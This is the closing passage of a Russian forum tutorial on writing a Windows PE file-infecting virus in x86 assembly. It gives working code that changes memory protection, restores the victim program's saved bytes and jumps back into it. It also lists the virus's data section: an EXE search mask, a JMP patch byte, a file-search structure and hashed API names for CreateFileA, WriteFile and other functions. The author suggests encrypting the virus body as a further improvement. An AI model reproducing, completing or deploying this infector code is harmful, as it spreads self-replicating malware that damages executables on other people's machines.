  6.     push eax            ;адрес области памяти, чьи атрибуты страниц нужно изменить
  7.     call VirtualProtect
  8.     popa

эта функция необходима для того, чтобы мы могли писать в то место, куда мы хотим восстановить пять сохраненных байт. Естественно сохраняем регистры, которые до этого так упорно подготавливали.

Код (Text):
  1.  
  2.     mov ecx,5h      ;счетчик
  3.     lea esi,save_vir_b  ;адрес сохраненных оригинальных 5 байт жертвы
  4.     add esi,delta_off   ;добавляем дельту
  5.     mov edi,eax     ;адрес начала кода жертвы в памяти
  6.         rep movsb       ;восстанавливаем
  7.     jmp eax

инициализируем счетчик записи в ecx. В esi помещаем переменную, где находятся сохраненные пять байт. Нормируем по дельта-смещению. В edi помещаем адрес, куда будем записывать байты - начало кода программы. Записываем эти чертовы пять байт. И передаем управление на начало кода программы, адрес которого находится в eax.

Код (Text):
  1.  
  2. AA:
  3.     push    0
  4.     call    ExitProcess

самый сложный код. Сюда мы попадем, если в процессе заражения были какие-либо ошибки, возможно, этот файл уже был заражен или это первое поколение, т.е. если вирус запущен не из зараженной программы.

Данные (поместить после последней инструкции)

Код (Text):
  1.  
  2. dir         db "C:\Polygon",0
  3. EXE_MASK    db "*.EXE",0
  4. MSB         db "MessageBoxA",0
  5. usd         db "user32.dll",0
  6. vir_stat    db 0
  7. j_m_p       db 0E9h
  8. save_vir_b  db 00,00,00,00,00
  9.  
  10. WIN32_FIND_DATA      label   byte                                        
  11.   WFD_dwFileAttributes   dd       0  
  12.   WFD_ftCreationTime      dq       0  
  13.   WFD_ftLastAccessTime  dq       0  
  14.   WFD_ftLastWriteTime    dq       0  
  15.   WFD_nFileSizeHigh        dd       0    
  16.   WFD_nFileSizeLow         dd       0    
  17.   WFD_dwReserved0         dd       0    
  18.   WFD_dwReserved1         dd       0    
  19.   WFD_szFileName            db       255 dup (0)
  20.   WFD_szAlternateFileName db       13 dup (0)
  21.                                 db       03 dup (0)
  22.              
  23. delta_off       equ [ebp+18h]
  24. CloseHandle     equ [ebp-4*1]
  25. FindFirstFileA  equ [ebp-4*2]
  26. FindNextFileA   equ [ebp-4*3]
  27. CreateFileA         equ [ebp-4*4]
  28. ReadFile            equ [ebp-4*5]
  29. GlobalAlloc     equ [ebp-4*6]
  30. GetFileSize         equ [ebp-4*7]
  31. SetFilePointer      equ [ebp-4*8]
  32. WriteFile           equ [ebp-4*9]              
  33. GlobalFree          equ [ebp-4*10]
  34. VirtualProtect  equ [ebp-4*11]
  35. ExitProcess         equ [ebp-4*12]
  36. GetProcAddress  equ [ebp-4*13]
  37. LoadLibrary     equ [ebp-4*14]
  38. SetCurrentDirectory     equ [ebp-4*15]
  39. EIP         equ [ebp-4*16]
  40. Find_H      equ [ebp-4*17]
  41. FileHandle      equ [ebp-4*18]
  42. FileSize        equ [ebp-4*19]
  43. AllocMem        equ [ebp-4*20]
  44. base_s          equ [ebp-4*21] 
  45.  
  46. HeshTable:                              ;Таблица хешей
  47.         CloseHandle_        dd 0F867A91Eh
  48.         FindFirstFileA_     dd 03165E506h
  49.     FindNextFileA_      dd 0CA920AD8h
  50.     CreateFileA_        dd 0860B38BCh
  51.     ReadFile_               dd 029C4EF46h
  52.     GlobalAlloc_        dd 0CC17506Ch
  53.     GetFileSize_        dd 0AAC2523Eh
  54.     SetFilePointer_ dd 07F3545C6h
  55.     WriteFile_              dd 0F67B91BAh
  56.     GlobalFree_         dd 03FE8FED4h
  57.     VirtualProtect_     dd 015F8EF80h
  58.     ExitProcess_        dd 0D66358ECh
  59.     GetProcAddress_     dd 05D7574B6h  
  60.     LoadLibraryA_   dd 071E40722h  
  61.     SetCurrentDirectoryA_ dd 00709DC94h
  62.                             dw 0FFFFh       ;End of HeshTable
  63.  
  64. Virsize equ $-start

Вот и весь код … вроде ничего не забыли. Хеши предварительно вычисляются. А стековые переменные адресуются через регистр ebp.

Можно сделать много улучшений например структуру WIN32_FIND_DATA хранить в стеке, зашифровать тело вируса. Да, много еще можно добавить и оптимизировать… Предоставляю это вам. Надеюсь, статья не была слишком скучной..

Использованные статьи и документы:

  1. Формат Исполняемых Файлов Portable Executables (PE) by Hard Wisdom
  2. Основные методы заражения PE by [HT]sars
  3. Поиск API адресов в win95-XP by [HT]sars
© TermoSINteZ

0 1.638
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532